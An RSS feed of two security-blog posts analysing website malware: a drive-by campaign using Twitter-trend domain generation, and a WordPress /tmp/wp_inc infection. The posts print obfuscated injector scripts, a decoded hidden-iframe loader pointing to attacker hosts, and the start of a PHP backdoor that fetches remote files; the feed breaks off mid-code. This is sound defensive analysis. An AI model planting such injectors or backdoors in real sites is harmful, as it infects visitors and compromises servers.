<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unmask Parasites. Blog. &#187; Website exploits</title>
	<atom:link href="http://blog.unmaskparasites.com/category/website-exploits/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 26 Jan 2012 10:56:06 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Lorem Ipsum and Twitter Trends in Malware</title>
		<link>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/</link>
		<comments>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 10:45:15 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[DNS-DIY]]></category>
		<category><![CDATA[gloa]]></category>
		<category><![CDATA[lorem ipsum]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[OnlineNIC]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=860</guid>
		<description><![CDATA[A couple of years ago I wrote about malware attacks that used Twitter API to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.

Each domain was in use for a few hours only
The next domain names would become available just a few hours before the malicious scripts [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of years ago I wrote about <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">malware attacks</a> t<a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">hat used Twitter API</a> to generate domain names for their malicious sites using trending topics as keys in the domain generating algorithm.</p>
<ul>
<li>Each domain was in use for a few hours only</li>
<li>The next domain names would become available just a few hours before the malicious scripts on hacked sites begin to use them.</li>
</ul>
<p>Since 2009, I&#8217;ve seen many revisions of that attack. It has never been the most prevalent issue but as far as I can tell it constantly evolves and mutates. The recent update of the malicious script injected by this attack looked quite interesting and I decided to find out what has changed since late 2009.<br />
<span id="more-860"></span></p>
<h3 id="scripts">Malicious scripts</h3>
<p>First of all, here&#8217;s the malicious script that was used in December (<a href="http://pastebin.com/gzqcwU5w" target="_blank">full version</a>)</p>
<p><code>(function($$){qq2=[8,0,26,0,11,81,29,0,26,<strong>...skipped...</strong>87,73,78];qq21=[68,79,87,27,0,9,<strong>...skipped...</strong>39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,<strong>...skipped...</strong>76,73];qq31=[84,8,7,7,0,19,<strong>...skipped...</strong>0,16,27,54];d='';mapper=[3,32,54,56,64,<strong>...skipped...</strong>24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i&lt;arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c&lt;9?1:2),x))).join(t.pop()));$$(d)})(fun ction(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});</code></p>
<p>It was a long obfuscated one-line script with  long sequences of numbers. More or less, this is what those scripts always looked like. One line of a long obfuscated code, usually at the very bottom or very top of the HTML code of infected web pages.</p>
<p>On PHP sites, this script was injected in a form of an obfuscated PHP code (<a href="http://pastebin.com/36NC4Ugy" target="_blank">full version</a>):</p>
<p><code>ob_start("<strong>security_update</strong>"); function <strong>security_update</strong>($buffer){return $buffer.<strong>base64_decode</strong>('PHNjcmlwdD4oZnVuY3Rpb24oJ<strong>...skipped...</strong>Sk7PC9zY3JpcHQ+');}</code></p>
<p>Quite a typical <strong>base64_decode</strong> obfuscation trick, although disguised by the <strong>security_update</strong> function name to make this code look more legitimate.</p>
<h3 id="2012">January 2012 code mutation</h3>
<p>However in January, the code changed (it is still detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>). Besides some algorithmic changes, the malicious script now consists of <strong>78</strong> lines of code generously sprinkled with comments in <strong>Latin</strong>!!! Here you can <a href="http://pastebin.com/j8PNeSHC" target="_blank">see the full version</a>.</p>
<p><code>(function($$,_2,_1) {<br />
function qq2(){return [89,75,80,70,81,89,16,73,78,81,<strong>...skipped...</strong>11,93,2,29,13,10,13,96,71,2,18,29,56];}<br />
function co() { return 'Code';}<br />
<strong>...skipped...</strong><br />
mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2<strong>...skipped...</strong>27,2,28,2,29];<br />
map = '';<br />
function fs(ro, arr, add, st, en,dp) {<br />
<span style="color: #808000;"><em>//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland</em></span><br />
<strong>...skipped...</strong><br />
<span style="color: #808000;"><em>//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur</em></span><br />
<strong>...skipped...</strong><br />
})(function(jsBb) {<br />
return (function(jsB, jsBs) {<br />
return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()<br />
})((function(jsB) {<br />
return jsB.constructor<br />
}), (function(jsB) {<br />
return (function(jsBs) {<br />
<span style="color: #808000;"><em>//accumsan dapibus diam</em></span><br />
<strong>...skipped...</strong><br />
});<br />
/**/<br />
<strong>gloa</strong>();</code></p>
<p>For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message &#8212; who would want to use Latin in JavaScript comments? It just doesn&#8217;t make sense.</p>
<h3 id="lorem">Lorem Ipsum</h3>
<p>Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic &#8220;<a href="http://en.wikipedia.org/wiki/Lorem_ipsum">Lorem Ipsum</a>&#8221; text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text.  But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable.</p>
<h3 id="sustainability">Making the attack sustainable</h3>
<p>Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn&#8217;t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script).</p>
<p>However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls &#8212; this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats.</p>
<h3 id="algo">Generating domain names on the fly</h3>
<p>To avoid blacklisting, hackers have to frequently change domain names of  their malware distributing websites. This particular attack rather than regularly        updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm         to generate new pseudo-random domain names of attack sites on the  fly.</p>
<p>It&#8217;s a new version of the algorithm that I <a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">described two years ago</a>. Here&#8217;s an overview of this new algorithm.</p>
<ol>
<li> It uses Twitter API (<span style="color: #000080;">http://api.twitter.com/1/trends/daily.json</span>) to get a list of trending topics that were hot two days ago.</li>
<li> Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: <strong>01:00</strong>, <strong>07:00</strong>, <strong>13:00</strong> or <strong>19:00</strong> (in some rare cases they may use  <strong>02:00</strong>, <strong>08:00</strong>, <strong>14:00</strong> or <strong>20:00</strong>)</li>
<li>The extracted trending topic is used as a key in a domain name generating algorithm.</li>
<li>The algorithm just returns a permutation of characters in the key and uses the first <strong>10-13</strong> of them as a new domain name.</li>
<li>To address edge cases where a trending topic is less than <strong>10</strong> characters long and to improve the random nature of permutations, they append the word &#8220;<strong>microscope</strong>&#8221; to the trending topic before applying the algorithm.</li>
<li>As a result, the algorithm generates domain names like: <em><span style="color: #993300;">dgeocanyaf .com</span></em>, <em><span style="color: #993300;">ocooecunrpbn .com</span></em>, <em><span style="color: #993300;">snrrstrcocri .com</span></em> (<a href="http://pastebin.com/EcRgmZj9" target="_blank">more domain names here</a>), that change every <strong>6</strong> hours. The attackers have almost two days to register them (they register them just a few hours before the use though).</li>
<li>Then the script builds a URL of a malicious page, adding the &#8220;<em><span style="color: #993300;">/index.php?tp=001e4bb7b4d7333d</span></em>&#8221; path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages.</li>
</ol>
<p>The benefit of this approach is the attack can easily survive if some  domain is blocked or unavailable for some reason &#8212; it only means not  more than <strong>6</strong> hours of downtime. On the other hand, if  someone reverse engineers the algorithm (like I did) they can use the  same algorithm to blacklist or sinkhole the domain names before they  become malicious.</p>
<h3 id="new">So what&#8217;s new comparing to that two year old version of the attack?</h3>
<p>The main differences from the <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#new_algo">previously described algorithm</a>, are:</p>
<p>1. Hardcoded year 2012. This proves that the attack is still active and the attackers don&#8217;t want to abandon this Twitter based approach to generate domain names.</p>
<p>2.  Instead of just <strong>2</strong> domains, they generate and use <strong>4</strong> new domains every day, and change them every <strong>6</strong> hours.</p>
<p>3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have <a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/#domain_info">12 month-specific predefined suffixes</a> that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don&#8217;t have any easily identifiable parts that can help classify them as belonging to this attack.</p>
<h3 id="demo">Online Demo</h3>
<p>To show how this domain generating algorithm works, I&#8217;ve create an<a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank"> online tool</a> that uses the same algorithm to predict malicious domains in real time. It shows <strong>4</strong> today&#8217;s malicious domains and predicts <strong>4</strong> domains that should be used by the attack tomorrow (more or less, depending on your time zone).</p>
<p>To make it more informative, I&#8217;ve provided two links for each domain name</p>
<ol>
<li><strong>Whois</strong> &#8212; to show whether the domain is registered and if it is then show who and when registered it (in most cases you&#8217;ll see the current date)</li>
<li><strong>Google&#8217;s Safe Browsing diagnostic</strong> &#8212; to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain)</li>
</ol>
<p>Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/01/predicted-malicious-domains.jpg" border="0" alt="predicted malicious domains" /></div>
<p>For example, as I write this article on January 25th, the current malicious domain is &#8220;<span style="color: #993300;">dgeocanyaf .com</span>&#8221; and the corresponding Twitter trending topic from January 23rd is &#8220;<span style="color: #333333;"><strong><em>Happy Year of the Dragon</em></strong></span>&#8220;. The domain was <a href="http://www.whois-search.com/whois/dgeocanyaf.com" target="_blank">registered on January 25th, 2012</a> and Google already lists it as <a href="http://www.google.com/safebrowsing/diagnostic?site=dgeocanyaf.com" target="_blank">suspicious</a>.</p>
<p>The upcoming malicious domain is &#8220;<span style="color: #993300;">epljsxiomccg .com</span>&#8221; and the corresponding Twitter topic is &#8220;<em><strong><span style="color: #333333;">Judge Alex</span></strong>&#8220;</em>. The domain is already <a href="http://www.whois-search.com/whois/epljsxiomccg.com" target="_blank">registered</a> but Google doesn&#8217;t list it as suspicious (no wonder &#8211; it is not active yet).</p>
<p>The first predicted domain for January 26th (GMT time zone) is &#8220;<span style="color: #993300;">mrrcatsphmoin .com</span>&#8221; and the corresponding trending topic from January 24th is &#8220;<span style="color: #333333;"><strong><em>Mr. and Mrs. Smith</em></strong></span>&#8220;. This domain is not registered yet (it should be by the time when you read this article) and Google doesn&#8217;t know about it yet.</p>
<p>If you are interested in the code of the algorithm, you can check the source code of the web page of <a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank">this online tool</a>.</p>
<h3 id="onlinenic">OnlineNIC Domain Resellers</h3>
<p>If you analize the Whois information for those domains, you can see that they all have been registered via <a href="http://www.onlinenic.com">OnlineNIC Inc</a>. To register domains, the attackers used a few supposedly fake accounts &#8211; all of them marked as &#8220;<strong>reseller</strong>&#8220;.</p>
<p>So what does it mean to be an OnlineNiC&#8217;s domain reseller?</p>
<p>1. Anyone can <a href="http://www.onlinenic.com/domain-reseller/">register</a> to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains).</p>
<p>2.  OnlineNIC provides &#8220;<em>an <strong>API/template system</strong> to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!</em>&#8221;</p>
<p>So what is that API? According to the documentation: &#8220;<em>The <strong>application program interface (API)</strong> is a set of routines and criterion and protocols by OnlineNIC. &#8230; It makes you and your client easier to</em><br />
<em><strong>complete products purchase, management</strong>, and info-query and so on via API.</em>&#8221;</p>
<p>Here are just a few things that this API allows to do:</p>
<ul>
<li>Check domain availability</li>
<li>Register domain</li>
<li>Create Name Servers</li>
<li>Update domain Name Servers</li>
</ul>
<p>So, resellers can use this API to create a program that will  automatically purchase and manage domains. That&#8217;s a perfect solution for this attack, isn&#8217;t it?</p>
<h3 id="dns">DNS-DIY</h3>
<p>The reseller account comes with free <a href="http://www.onlinenic.com/dnsdiy/">DNS-DIY</a> DNS service that allows to manage A records and customize Name Servers (&#8220;<em>Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.</em>&#8221; &#8211; that&#8217;s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too &#8212; so all operations can be automated.</p>
<h3 id="fastflux">Zombie-computers as fast flux hosting</h3>
<p>The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers.</p>
<p>This attack uses a technique called <a href="http://en.wikipedia.org/wiki/Fast_flux">Fast flux hosting</a> (if I use this term correctly). Here&#8217;s how it works.</p>
<p>When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it&#8217;s up to your DNS software which of them to use.</p>
<p>These two A-records help achieve two goals:</p>
<ul>
<li>load balancing &#8211; the traffic is split between two servers</li>
<li>if one server is shut down or unavailable for some reason, the other server will still be processing requests.</li>
</ul>
<p>However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records.</p>
<p>The thing is the IP addresses in the A records change every <strong>6</strong> hours, the same way as they change the domain names used in this attack.</p>
<p>Here is a list of <a href="http://pastebin.com/aULdDSiZ" target="_blank">120 unique IP addresses</a> that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains).  The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world:</p>
<ul>
<li>Australia Melbourne Telstra Internet</li>
<li>Austria		        Linz		        Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h</li>
<li>Austria Vienna Oebb Telekom Service Gmbh</li>
<li>France		        Paris		        Free Sas</li>
<li>Germany Kabel Deutschland Breitband Service Gmbh</li>
<li>Germany Leipzig Primacom Berlin Gmbh</li>
<li>Italy Chieti Telecom Italia S.p.a</li>
<li>Italy Telecom Italia Mobile</li>
<li>Netherlands Amsterdam Upc Broadband Operations B.v,</li>
<li>Netherlands Barneveld Matrix Pc B.v</li>
<li>Philippines		        Makati		        Pldt</li>
<li>Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo &#8211; Reklamowa Sp. Z O.o</li>
<li>United States		        Richmond		        Comcast Cable Communications Inc</li>
<li>United States		        Houston		        AT&amp;T Internet Services</li>
<li>United States		        Kyle		        Road Runner Holdco Llc</li>
<li>Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A,</li>
<li>and many more &#8230;</li>
</ul>
<p>This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer.  This approach is not new. For example, two years ago I described how <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/">Koobface used web servers</a> <a href="http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/#pc">on infected PCs</a>.</p>
<h3 id="nginx">Nginx reverse proxies</h3>
<p>If you check HTTP header of responses from the malicious sites, you&#8217;ll notice that they all have the same &#8220;Server: <strong>nginx/0.7.65</strong>;  <strong> </strong>X-Powered-By: <strong>PHP/5.3.2-1ubuntu4.10</strong>&#8221; headers.</p>
<p>Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx.</p>
<p>The answer to this is <a href="http://wiki.nginx.org/Main">Nginx</a>. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it&#8217;s <strong>reverse-proxy</strong> feature that helps to hide the real malware distributing server behind the layer of proxies.</p>
<h3 id="scenario">The most probable scenario</h3>
<p>Cyber criminals have a program on a C&amp;C (command and control) server that is scheduled to do the following things:</p>
<ol>
<li>Use their domain generating algorithm and the OnlineNIC API to register a new domains.</li>
<li>Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses.</li>
<li>Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2.</li>
<li>For some older domains, update A records with new IPs selected in the step 2.</li>
<li>For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain)</li>
<li>There is an Nginx web server on every zombie-computer. (There is a <a href="http://nginx.org/en/docs/windows.html">Windows version of Nginx</a>) that processes requests to malicious URLs (<span style="color: #993300;"><em>hxxp://malicious-domain .com/ <strong>index.php?tp=001e4bb7b4d7333d</strong></em></span>)</li>
<li>Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server&#8217;s response back to clients (in our case to web browsers that loaded infected web pages). The &#8220;PHP/5.3.2-1ubuntu4.10&#8243; header is actually from that remote server (reverse proxies pass most headers from the proxied servers).</li>
</ol>
<h3 id="counter">Counter measures</h3>
<p>It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures.</p>
<ol>
<li>Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn&#8217;t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages.</li>
<li>Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you&#8217;ll see that they were registered using the same few accounts (<a href="http://pastebin.com/pt1MHqFK" target="_blank">some of them</a>).  Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can&#8217;t use them it may disrupt the attack.</li>
<li>Don&#8217;t let the parasites use your resources.  Keep your computers and websites malware-free.</li>
</ol>
<p>I can&#8217;t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn&#8217;t find webmasters of infected sites who would want to help me in my investigation <span style="color: #808080;">:(</span> ), but I see some signs that the attack could use <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">stolen FTP credentials</a>. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then  remove the malicious code from files on server.</p>
<p>##</p>
<p>Additional information and your comments are welcome.</p>
<p><strong>Similar posts:</strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/11/11/hackers-use-twitter-api-to-trigger-malicious-scripts/">Hackers Use Twitter API To Trigger Malicious Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/12/09/twitter-api-still-attracts-hackers/">Twitter API Still Attracts Hackers</a></li>
<li><a href="http://www.abuse.ch/?p=3387">How Criminals Defend Their Rogue Networks</a> &#8211; abuse.ch</li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>/tmp/wp_inc or Not Your Typical WordPress Attack</title>
		<link>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 12:10:08 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[91.196.216.20]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[pingnow]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-config.php]]></category>
		<category><![CDATA[wp-settings.php]]></category>
		<category><![CDATA[wp_inc]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=850</guid>
		<description><![CDATA[This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it&#8217;s so atypical.
If you don&#8217;t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section [...]]]></description>
			<content:encoded><![CDATA[<p>This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it&#8217;s so atypical.</p>
<p>If you don&#8217;t have time to read the whole article, you can head directly to the <a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#short">short description</a> of the attack and then to the <a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#summary">Summary</a> section where I talk about what&#8217;s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the &#8220;<a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#webmasters">To Webmasters</a>&#8221; section &#8211; it will help you resolve the problem.<br />
<span id="more-850"></span><br />
According to <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs.</p>
<p>Google specifies &#8220;<a href="http://www.google.com/safebrowsing/diagnostic?site=nl.ai/" target="_blank">nl.ai</a>&#8221; as the source of the problems and currently reports <strong>8,526</strong> infected domains (and given the limited coverage of Google&#8217;s data we can safely estimate at least <strong>30,000</strong> infected blogs)</p>
<p>A typical Safe Browsing diagnostic page say something like this:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <strong>nl.ai</strong>/.</p></blockquote>
<p>or</p>
<blockquote><p>Malicious software is hosted on 3 domain(s), including<strong> hdghd.c0m.li</strong>/, <strong>hdghdg.c0m.li</strong>/, <strong>hdfhfd.c0m.li</strong>/.</p></blockquote>
<p>The infection is detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/11/detected-script.png" border="0" alt="detected script" /></div>
<h3 id="malware">Malicious content</h3>
<p>Typically, in the &lt;<strong>head</strong>&gt; section of web pages, you will find a script that looks like this:</p>
<p><code>eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a<strong>...skipped...</strong>werCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jnhfj|navigator|ai|showthread|php|72241732'.split('|'),0,{}))</code></p>
<p>Here is the decoded variant:</p>
<p><code>function MakeFrameEx(){element=document.getElementById('<strong>yahoo_api</strong>');if(!element){var el=document.create Element('<strong>iframe</strong>');document.body.append Child(el);el.id='yahoo_api';el.style.width='<strong>1px</strong>';el.style.height='<strong>1px</strong>';el.style.display='none';el.src='hxxp://<strong>hgdhgd .nl .ai/showthread.php?t=72241732</strong>'}}var ua=navigator.userAgent.toLowerCase();<br />
if(((ua.indexOf("<strong>msie</strong>")!=-1&amp;&amp;ua.indexOf("opera")==-1&amp;&amp;ua.indexOf("webtv")==-1))&amp;&amp;ua.indexOf("<strong>windows</strong>")!=-1){var t=setTimeout("MakeFrameEx()",1000)}</code></p>
<p>In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it&#8217;s a legitimate code that uses Yahoo API ;-) .</p>
<p>But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers.  In this particular case, the iframe load malicious content from <span style="color: #993300;">hxxp://hgdhgd .nl .ai/showthread.php?t=72241732</span>.</p>
<p>Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I&#8217;ve seen during this weekend.</p>
<ul>
<li><span style="color: #993300;"><strong>hgdch .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>juyfdjhdjdgh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>kjgfg .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>jnhfj .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hzdgh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hgdhgd .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hjbh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hgdfhd .coom .in</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>unter .myz .info</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>gdasgdsa .c0m .li</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>jopek .fr .nf</strong>/showthread.php?t=72241732</span></li>
</ul>
<p>All these domains point to the same server in Russia: <strong>95 .163 .66 .209</strong>. Or later to <strong>178 .18 .87 .141</strong></p>
<p>By the way, new exotic TLDs are getting popular within cyber criminals: .<strong>ai</strong> (Anguilla), .<strong>li</strong> (Liechtenstein) and .<strong>nf</strong> (Norfolk Island)</p>
<h3 id="how">How the attack works</h3>
<h4 id="short">Short version</h4>
<ol>
<li>Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the <a href="http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/" target="_blank">TimThumb vulnerability</a>) to upload a backdoor file.</li>
<li>They use the backdoor file to plant another backdoor code into <strong>wp-config.php</strong></li>
<li>They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the <strong>/tmp/wp_inc</strong> file with a malicious JavaScript.</li>
<li>In <strong>wp-settings.php</strong> they create a functions that loads the content of <strong>/tmp/wp_inc</strong> into the head section of WordPress pages.</li>
</ol>
<h3 id="detailed">Detailed attack description</h3>
<p>Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress.  Hundreds of themes and plugins use this thumbnail utility and it&#8217;s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update <strong>timthumb.php</strong> but fail to find and remove all uploaded backdoor file &#8212; so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks.</p>
<h3 id="backdoors">Backdoors</h3>
<p>So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now.</p>
<p>For example, on one infected server, I found the following <strong>upd.php</strong> file in the <strong>wp-content</strong> directory</p>
<p><code>&lt;?php<br />
$file = $_GET['file'];<br />
$pass = $_GET['pass'];<br />
$true = 'c0c7c76d30bd3dcaefc96f40275bdc0a';<br />
if ($pass == $true){<br />
$ch = curl_init($file);<br />
